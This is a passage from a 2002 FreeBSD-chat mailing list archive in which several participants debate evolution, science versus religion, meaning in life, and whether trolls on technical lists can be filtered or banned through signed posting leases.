(hawk.mail.pas.earthlink.net [207.217.120.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1933043E6A for ; Wed, 4 Sep 2002 21:58:55 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0312.cvx40-bradley.dialup.earthlink.net ([216.244.43.57] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17mojC-0005mc-00; Wed, 04 Sep 2002 21:58:50 -0700 Message-ID: <3D76E44E.16950DD@mindspring.com> Date: Wed, 04 Sep 2002 21:57:50 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Joshua Lee Cc: "Neal E. Westfall" , dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020904021149.10d2e0f4.yid@softhome.net> <20020904120659.L88455-100000@Tolstoy.home.lan> <20020904234425.669b500a.yid@softhome.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Joshua Lee wrote: > Tellihard De Chardin seems to do a good job at being a theist of your > stripe and accepting the theory of evolution at the same time; somewhat > earlier, Chief Rabbi Abraham Isaac Kook seemed to incorporate evolution > and other "heretical" ideas into his unique theological reconcilliation > of modern thought and Orthodoxy. Again, as an Orthodox Jew, I'm not an > "evolutionist", but I think it's somewhat dishonest to label a > scientific theory as a religion. Heh. That's because: "Anything that contradicts doctorine must be someone else's doctoring, rather than the truth". 8-) -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 22:15:31 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 857D737B400 for ; Wed, 4 Sep 2002 22:15:28 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id 0CE5F43E3B for ; Wed, 4 Sep 2002 22:15:28 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 3893 invoked by uid 417); 5 Sep 2002 05:15:27 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 5 Sep 2002 05:15:27 -0000 Received: from planb ([216.194.4.17]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Wed, 04 Sep 2002 23:15:25 -0600 Date: Thu, 5 Sep 2002 01:14:25 -0400 From: Joshua Lee To: Terry Lambert Cc: nwestfal@directvinternet.com, dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-Id: <20020905011425.7f22ac7d.yid@softhome.net> In-Reply-To: <3D76E44E.16950DD@mindspring.com> References: <20020904021149.10d2e0f4.yid@softhome.net> <20020904120659.L88455-100000@Tolstoy.home.lan> <20020904234425.669b500a.yid@softhome.net> <3D76E44E.16950DD@mindspring.com> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.7) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Wed, 04 Sep 2002 21:57:50 -0700 Terry Lambert wrote: > Joshua Lee wrote: > > somewhat earlier, Chief Rabbi Abraham Isaac Kook seemed to > > incorporate evolution and other "heretical" ideas into his unique > > theological reconcilliation of modern thought and Orthodoxy. Again, > > as an Orthodox Jew, I'm not an"evolutionist", but I think it's > > somewhat dishonest to label a scientific theory as a religion. > > Heh. That's because: > > "Anything that contradicts doctorine must be someone > else's doctoring, rather than the truth". "Truth" is not the realm of science, science is the art of describing repeated empherical observations with rational mathematics. :-) As such it is as theological as the computer program I am using to compose this message; though indeed some, mostly laymen, do try to make it into a pseudo-religion. (Compte being a case in point.) I don't see science and mathematics as contradictory; several prominant Rabbis have a degree in biology and are even biology professors, for example; because knowledge of biology is indispensable for an important volume of the Talmud and it's corresponding sections of the codes and rulings that are part of getting smicha. (The sections dealing with Kashrus.) The Torah commentator Rashi said on the verse "it is your wisdom and understanding before the nations" that this refers to astronomy and the observations used to calculate the calendar. It is really no wonder that a disproportionate number of famous scientists are Jewish. (Of course, there are plenty of famous Anglo-Saxon scientists too. :-) ) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 22:23:19 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D223B37B40A for ; Wed, 4 Sep 2002 22:23:12 -0700 (PDT) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6E9CC43E42 for ; Wed, 4 Sep 2002 22:23:12 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0312.cvx40-bradley.dialup.earthlink.net ([216.244.43.57] helo=mindspring.com) by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17mp6k-00074y-00; Wed, 04 Sep 2002 22:23:10 -0700 Message-ID: <3D76EA00.CE74BED1@mindspring.com> Date: Wed, 04 Sep 2002 22:22:08 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Joshua Lee Cc: nwestfal@directvinternet.com, dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <20020904021149.10d2e0f4.yid@softhome.net> <20020904120659.L88455-100000@Tolstoy.home.lan> <20020904234425.669b500a.yid@softhome.net> <3D76E44E.16950DD@mindspring.com> <20020905011425.7f22ac7d.yid@softhome.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Joshua Lee wrote: > "Truth" is not the realm of science, science is the art of describing > repeated empherical observations with rational mathematics. :-) As such > it is as theological as the computer program I am using to compose this > message; though indeed some, mostly laymen, do try to make it into a > pseudo-religion. (Compte being a case in point.) > > I don't see science and mathematics as contradictory; several prominant > Rabbis have a degree in biology and are even biology professors, for > example; because knowledge of biology is indispensable for an important > volume of the Talmud and it's corresponding sections of the codes and > rulings that are part of getting smicha. (The sections dealing with > Kashrus.) > > The Torah commentator Rashi said on the verse "it is your wisdom and > understanding before the nations" that this refers to astronomy and the > observations used to calculate the calendar. It is really no wonder that > a disproportionate number of famous scientists are Jewish. (Of course, > there are plenty of famous Anglo-Saxon scientists too. :-) ) "Where the world ceases to be the scene of our personal hopes and wishes, where we face it as free beings, admiring, asking and observing, there we enter the realm of Art and Science." -- Albert Einstein -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 23:10:13 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DC89637B400 for ; Wed, 4 Sep 2002 23:09:48 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id D15BB43E4A for ; Wed, 4 Sep 2002 23:09:47 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g8569e189500; Wed, 4 Sep 2002 23:09:40 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209050609.g8569e189500@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 04 Sep 2002 23:09:35 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> > The environment chooses the creatures which survive. >> >> It's not able to choose. The creatures are either able to adapt or >> they are not. > > The creatures don't adapt or not adapt; they are born with the > necessary survival characteristics, or they are not. If they > are not, they die. If they are, they survive to propagate the > genes which express as those characteristics. That explanation makes more sense than "the environment chooses". >> Huh? I don't "solve problems" in this fashion. My life is not defined >> as "one problem after another". Most of the problems I solve are >> scientific in nature, but not even all of those are handlable by the >> methodology you describe. > > All scientific problems are by definition solvable using the > scientific method. If they aren't, then they are not scientific > problems, they are some other class of problems. Ah, correctness by definition. I get it. ;) >> > My personal preference it to analyze the problem, determine >> > the class of problems it represents (if non-unique), and then >> > solve for the set of problems in the space represented by the >> > class, do it once, and never have to look back. >> >> Gah. What if the problem is dynamic? > > The method works anyway. > >> What if the problem mutates? > > Then you reanalyze it. > >> What if your classification was in error? > > Then you start over. All the while believing that your methodology must work for any problem.... >> I bet I feel about this methodology what you feel about mine. ;) > Unlikely... 8-). I'm not so sure this is entirely unlikely or even a little unlikely... ;) >> > You mean, like machine enforcement of the charters for technical >> > mailing lists... >> >> Yes, that would be a contender. A machine restricting discourse has >> a nauseous taste to it. > > As long as it only restricts it to the charter, I have no problem > with it. If I want to go outside the charter, I take the discussion > elsewhere. The charter is an attempt to classify posts. I claim posts defy classification except for trivial cases. > [ ... signed, timed, signature keys ... ] >> Nope. All you are doing here is forcing the users to have a >> "verifiable" identity. As most everything is, this is quite probably >> hackable, subject to identity theft from careless users, etc. > > I'm also forcing that verifiable identity to obtain a limited > time permission in order to post -- a lease -- which must be > renewed to permit continued posting. > > This permits a feedback mechanism -- whatever mechanism the > list membership consensually decides is appropriate -- to be > used to enforce against continued abuse of the list. You are > a SPAM'mer, and your identity loses posting rights. You are a > troll, and your identity loses posting rights. Etc.. This extends to "we don't like you, your identity loses posting rights". >> >> > On the contrary. It is the nature of science to question assumptions. >> >> > I see scientists question their own assumptions all the time; all that >> >> > is required to trigger this is a contradictory observation. Scientists >> >> > never hold forth facts, only hypothesis. >> >> >> >> Observational evidence contradicts this assertion. Really, I've rarely >> >> seen this, and that fact is why I escaped academia years ago. (They tried >> >> to hold me in but...) >> > >> > As I said before, you are hanging with the wrong peeps. >> >> Define "the right peeps". Whatever group it is, I don't belong, >> period. I've walked the line between many classified groups ever since >> I was born. > > People who call themselves scientists, but who don't walk the > walk. Yet I don't worship that religion. ;) >> >> > [ ... profoundly bad example ... ] >> >> Why? >> > Because it analogizes an impedence mismatch with a convergent >> > series. >> >> See? You aren't willing to think out of the box, or to critically >> examine the concept. You dismiss it out of hand because of your >> classifications. > > I dismiss it because it is a flawed analogy. Come up with a > valid analogy, and I won't dismiss it. What standards of "valid" are you using here? > Your assumption about what happens when you sample something whose > frequency is higher than the sample rate being similar to what > happens when you set V > C in a Lorentz transformation is incorrect, > because there is not equal symmetry around the centerpoint. It's not exact, but similar. The same kinds of things happen. More to the point, you are unwilling to -consider- the idea and investigate it futher. You merely dismiss it with a wave of your "invalid" hand. This is not unlike the scientists I have been around. >> > Never test for an error condition you don't know how to handle. >> > -- Steinbach >> >> How do you know you can handle it before you get it? > > What does your program do, when it can't read the file, but your > process has sufficient priviledge to change the access controls > on the file to permit it to be read by your program? Assume there must be a good reason someone denied read privleges and exit with an error message to that effect. =) >> >> Sometimes, a model that doesn't "academically work" can still >> >> "practically work". >> > "Finger quotes"?!? >> >> Eh? > > The use of ``"practically work"'' instead of ``practically work'' > says that you were attempting to imply a non-traditional meaning. "Does it"? ;) >> >> > Why can't it be orthogonalized? You are effectively arguing >> >> > against the Taniyama-Shimura conjecture... which has been >> >> > proven. >> >> >> >> The who? Good grief. Is this an authority? ;) >> > >> > "All elliptic curves have modular forms" >> >> So? How does this imply that you can orthogonalize -all- aspects of >> life? > > I never said you could. I responded to your statement: > > | You can't orthogonalize this. You can't just apply a transform and have > | the troll component vanish, you still affect the other communication. > > If you can identify the trolls, you can in fact, find a modular > space in which there is a manifold dividing the space, with all > the trolls on one side of the manifold, and everyone else on the > other. > > Then you can apply a simple binary "trollness" test. What works in the mathematical domain may not translate properly to the domain of mailing lists and human interaction. > It has nothing whatsoever to do with "orthogonalizing -all- aspects > of life". I observe that people who attempt solutions of this manner consistently tend to attempt life orthogonalization, most amusingly where life cannot be handled thus. >> >> I can't agree with that at all. The world of humans doesn't always >> >> obey any strict mathematical definition, and as such is not a >> >> candidate for scientific manners of investigation. >> > >> > Oh, this is so wrong. >> >> We have arrived at another fundamental disagreement then. > > Nevertheless, I will continue to use such manners of investigation, > so long as they continue to yield highly accurate predictive > models. 8-). What if your observational equipment is filtered by a need to be correct? Then all your models will look correct to you, especially if you filter out the data that might contradict your findings. >> > Individual humans are not completely predictable (yet), but >> > statistically, groups of humans are very, very predicatable. >> >> Statistical arguments are generally inconclusive. They are hard >> to accept unless you can guarantee a bunch of hard to guarantee >> things about the evidence. > > I disagree. Perhaps what you feel is hard and what I feel is > hard are two different things. Hmm, clearly I chose the wrong word. I'll put it this way: typical methods for gathering statistical data have a insufficiently large sample space and a woefully inadequate method of assuring random selection. Then there's the interference from attempting to observe the phenomena. >> >> I did that. Free.* was taken over by Tim Skirvin... >> > >> > That was a hierarchy within the context of the genereal usenet. >> > I'm talking about non-interoperation. >> >> The entire point wasn't to make my own sandbox and see who would play >> in it. This was a very common straw man. It's irrelevant to the drive >> I had at the time to express common sense and teach people (by the >> action of not moderating) to -freaking- press the "delete" or "next >> messsage" key when you don't like what someone posted. What is so >> damn -hard- about that? Why can't people just do this? Moving the >> finger takes very little caloric energy, less energy than continuing >> to read and get worked up. > > By not making it "your own sandbox", you failed to put a border > between your society and Tim's. The result was predictable. I can assure you that my current border is overcompensatingly impenetrable. ;) >> Just look. -You- want to spend a lot of time and energy devising >> secure identified email or coming up with who knows what just so that >> the laziness of humanity can prevail over common sense. > > Hardly. I want common sense to prevail. But the trolls refuse > to exhibit it. If you (and others) would just exhibit it, it wouldn't matter whether they did. >> This is all just more evidence that Earth is really a comedic stage >> for the amusement of whatever cosmic being(s) are out there >> watching. ;) > > I resemble that remark... ;^). We all do. ;) >> > Any existing system that fulfills a similar societal role is a >> > control. I think you are confusing the society itself, which is >> > an independent entity, with the communications media within >> > which its internal systems operate. The two are not identical. >> >> Maybe so, but they sure lose a lot of distinction in the process. >> Also, however correct you are, the people -in- the society >> don't seem to agree with this. They tend to percieve them as one. > > That's why I keep suggesting that the "laws of physics" need to > be built into the the pathways, rather than externally imposed. > You keep arguing that internal imposition won't work. Fine. Take > that as a working hypothesis, and impose the rules externally > instead. Bah. I don't think any rules will "work". I don't have faith in purely scientific methods to come up with a solution. I think the only way out is to wait for people to grow up. >> >> Perhaps support for your "paid troll" theory can be had by noting >> >> that paid trolls don't really care about the response as long as >> >> they can shut down the list. (I'm trying to think like you here, >> >> correct me if I am wrong but I think this is your theory.) >> > >> > Yes, this is my theory. >> >> They got to ya then. ;) It would appear you are at least somewhat >> worried about the list being shut down by trolls. If that's true, >> they've managed to win the first round. > > Hardly. Their goal and their actual ability to achieve it are > very different things. But they have you worried, oh he who's reality is expressible as a mathematically consistent and well-defined space. ;) >> > Not a dodge. My Uncle-by-marriage's sister is the person who >> > dispenses Charles Manson's medication. Some people yanked out >> > out their interface cables before the programming was complete. >> >> Some people didn't trust the code and that's why they yanked. Our >> "society" is not perfect, and I daresay far from it. People like >> this guy are a reaction to it, which has been increasing in past >> years. > > It's OK. We'll lock them up and prevent their genes from > propagating. And then you'll discover they have a necessary component to a survival trait we need. >> >> Not if I have the Dallas Cowboy Cheerleaders at gunpoint. ;) >> > >> > I can still ignore what you have to say, and report on the >> > whack-job with the famous hostages... >> >> And your boss can fire you and assign another reporter, yes. > > Not really. I will be giving the boss what he wants: viewers; > how many people have actually *read* "The Unibomber Manifesto" > (or "The GNU Manifesto")? A circus doesn't have to have a plot. But it needs performers. You don't think I'd actually go so far as to do that and not have some act going at the same time? >> >> Not at gunpoint, but I do have over 35 active FreeBSD systems >> >> to care for...I think there's an imperative there don't you? >> > >> > So what information pertinent to that situation are you getting >> > from the "FreeBSD is Dead" trolls? >> >> Starting with the obvious, Someone feels threatened by FreeBSD. > > I'll grant that. We got that the first time they posted. They've > posted more than once. What *new* information was present in each > subsequent posting, which was not present in previous postings? Why is this important? >> >> Maybe this response is "Hey, friend..."? (Ok, so that's -my- utopia, >> >> not yours.) >> > >> > Hey, if it worked... but it wouldn't. >> >> It's worked for me in the past. I wouldn't call it reliable, but then >> again...to do this one you have to be impeccably appropriate. > > So it worked with Tim, did it? For a while it did, but his ego couldn't bear the interaction. >> >> > The noosphere is not bounded to a finite competitive resource >> >> > domain, as you keep implying with your "move to an island" >> >> > analogy. >> >> >> >> I'll grant you finitely uncountable, but really the limit is >> >> in how long you have to peruse it. >> > >> > Not long. You have filters, right? >> >> Yes. I still have trouble keeping up with it all. > > Yet you expect people not dedicated to your ideal to keep up, > even when you, a dedicated person, can not? I don't expect them to keep up even if trolls were wiped from the face of the plannet. "Keeping up" is a larger issue than trolls, so much larger that trolls (even a group of determined ones) are largely irrelevant to the big picture. >> >> The difference between you and I is, I can operate independent of >> >> my axioms. Sometimes without thought even. If I'm lucky, complete >> >> mental shutdown. >> > >> > You may as well be a puppet, if you give them that much control >> > over you. >> >> Them? Nope. This is my control over me. Deprogramming my mind and >> letting who I really am surface. > > That's exactly what a pupet in your position would say. 8-) 8-). Yes, so you can't tell that I'm not. But I can. ;) >> >> As the limit of time approaches infinity, you can't. ;) >> > >> > Functionally decompose the problem space, and distribute the >> > processing. You're asking the same thing of personal filtering, >> > only you are asking it of a multiplicity equivalent to the fan >> > out for a given mailing list. >> >> I'm not asking anything. I'm implying that unless it's done this way, >> it's not honorable. People should determine what they want to read. >> The converse is just as multiplicative; you have to sit there and make >> presumptions about what N people want to read. As N grows large, you >> are bound to make decisions that a portion of N would disagree with. >> This is what stagnates a list, since you have to LCD the presumptions >> to get "the most people" happy. > > Hardly. Topicality is not arbitrary, even if choices about the > content of the charter are. Topicality is subjective and rarely well-defined enough not to have posts that are on the edge. >> > Mailing lists are push model. They are not Usenet. Stop pretending >> > they are. >> >> The distinction is irrelevant in this case. Functionally, they are the >> same thing, just on different scales. > > Wrong. The distiction is critical. It defined the tipping point. Not for high traffic lists. Freebsd-hackers feels like a 1987ish usenet group. >> > You could have just ignore my response. So by your argument, >> > you should take responsibility for initiating this entire >> > diatribe. >> >> I merely posted a thought. You attacked that thought. That started >> the diatribe. Stop weasling, you must have known I wouldn't just >> back off. ;) > > I merely posted a thought about your thought; there was no attack. Ok "you pounced on that thought"... ;) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< One day, a Fool was in the village mill, filling his bag with a little bit of every other person's wheat. "Why are you doing that?" someone asked. "Because I am a Fool" came the reply. "Well," the someone asked "Why don't you then fill other people's bags with your own wheat?" "Then," came the answer, "I would be more of a fool." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 23:14:52 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 44C0A37B400 for ; Wed, 4 Sep 2002 23:14:49 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id C582943E6A for ; Wed, 4 Sep 2002 23:14:48 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g856Ek189534; Wed, 4 Sep 2002 23:14:46 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209050614.g856Ek189534@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 04 Sep 2002 23:14:41 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> >> > There are people who can not do this. I would prefer to have the >> >> > contributions of those people, than the participation of the trolls. >> >> > If I must lose one or the other, let it be the trolls. >> >> >> >> I feel exactly the opposite. If someone can't hit a key on the >> >> keyboard and render the troll powerless, I don't want to be held >> >> hostage to their choices. Good riddance. >> > >> > You're not held hostage to their choices. Feel free to subscribe >> > to other lists as well. >> >> So I can return to a hostage state? No thanks. > > I fail to see how this returns you to a hostage state That's because -you- are not -me-. >> >> Well, people would focus on not being rich. Then they'd be unhappy. >> >> What good is a BMW if you cant brag to your friends because they >> >> all have one too? ;) >> > >> > The same good it was when you *could* brag: it is a means of >> > getting from point A to point B. >> >> Not exactly the same good, you miss the fun in bragging. > > A: "I have a new beamer!" > B: "I don't care." No no, you don't brag to someone who responds this way. It goes more like: A: "I have a new beamer." B: (sexy female voice) "Really??? Oooh sounds exciting." A: "It goes 0-60 in 5.9!" B: "Like, oh my god!" A: "It has bucket seats with built in butt-warmers!" B: "Oooh, can I go for a ride with you?" A: "Sure, baby". (A&B go to some expensive motel, and you can figure out the rest.) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Wisdom (n.) - 1. Something you can learn without knowing it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 23:16: 3 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2907637B400 for ; Wed, 4 Sep 2002 23:16:01 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id AD0C543E6A for ; Wed, 4 Sep 2002 23:16:00 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g856Fw189567; Wed, 4 Sep 2002 23:15:58 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209050615.g856Fw189567@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 04 Sep 2002 23:15:53 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> > The reason that both of you are so difficult to argue with is that >> > neither of you seem to think anything is meaningful. >> >> I'll admit, to me this is all a dream. Controlled folly this all is. >> >> Getting Terry to admit that would be...difficult. ;) > > Very. IMO, everything is fraught with meaning. What is the meaning of all this meaning? ;) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Nobody wants constructive criticism. It's all we can do to put up with constructive praise. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 23:18:48 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1FBEF37B400 for ; Wed, 4 Sep 2002 23:18:46 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id B54BB43E6A for ; Wed, 4 Sep 2002 23:18:45 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g856Ii189601; Wed, 4 Sep 2002 23:18:44 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209050618.g856Ii189601@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: "Neal E. Westfall" Cc: Terry Lambert , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 04 Sep 2002 23:18:39 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Neal E Westfall writes: >> >> > What questions which cannot be dealt with rationally? >> >> >> >> "Is there a God?" "Why are we here?" "What is the one difference >> >> between a sacred being and an evil being?" >> >> >> >> Those are some examples. Have fun. ;) >> > >> > How to deal with them rationally: "I don't know". >> >> That is the first step to wisdom. |) > > Either that, or "The fear of the Lord...etc." (Prov. 1:7) > 8-) I completely disagree that fear has anything to do with any supreme being of the universe. If you are in fear of Hell or in desire of Heaven, these are not appropriate reasons to go around supporting God. (Good lord, how did I get into a -real- religious argument? ;) ) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Most anything that annoys you is a mirror. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 23:58:25 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1546437B400 for ; Wed, 4 Sep 2002 23:58:17 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7AB6E43E72 for ; Wed, 4 Sep 2002 23:58:16 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g856wD189878; Wed, 4 Sep 2002 23:58:13 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209050658.g856wD189878@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: "Neal E. Westfall" Cc: Terry Lambert , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 04 Sep 2002 23:58:08 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Neal E Westfall writes: > On Wed, 4 Sep 2002, Dave Hayes wrote: >> [ ... police brutality ...] >> Granted, I was kind of traumatized and this may not be a basis >> everyone can accept. But I do, and at the moment that's all that counts. > Please do not misunderstand. There is indeed no excuse for such > behavior. Personal experiences such as the one you relate above > is where the rubber meets the road and one discovers whether or > not his worldview lives up to whether or not it can withstand the > onslaught of life. I would ask if you really think yours does that > in the face of such wickedness. This is a non-sequitor to me. These events happened. At some point, I had a bit of work to do such that I was not making all policepeople out to be evil villans. They all aren't evil, even if most of them are. ;) >> > However, given your rejection of authority, who are you to condemn >> > police brutality? >> Someone who's lost a friend to it. > And this is exactly why I find it bizzare that someone who has lived > through such an experience would continue to believe that in the end, > it's all pretty meaningless. It's called "controlled folly", and I don't believe it or disbelieve it. I try to keep from belief, and stick to knowledge. I know that none of this life here on Earth is real. Is a character in, say, EverQuest real? Does it have meaning? > According to Christian theology, there is no event that takes place > which does not have a purpose in the ultimate scheme of things. > While many find this abhorrent, it can also be a great comfort in > the face of the horrors of life. To be absolutely truthful, in terms which minds can understand it, everything has meaning and no meaning at the same time. >> First, when any biblical prose comes into debate, unless the people >> are very focused on Truth, it will disintegrate into exact semantic >> meanings of words written over a couple thousand years ago. This is >> not a place to learn truth, but it is a place to steep in >> righteousness. ;) > The two are related. You cannot have righteousness without truth, > nor can you have the truth without righteousness. Hmm, there's semantics here. I'd argue you cannot see the truth without first dropping righteousness. The problem is I don't know what each of us means when we say "righteousness". > Another is your observation that debate over biblical texts can > degerate into arguing over the semantic meanings of the words. > People who are engaged in sin do not want to clearly interpret the > meaning of scripture. The problem is entirely in man, not the > texts. I don't accept what this implies, even though technically what you said is true. First off, we are dealing with words 2000 years old. Imagine if I went back in time and said "Man, that's a killer outfit. Dude, yer 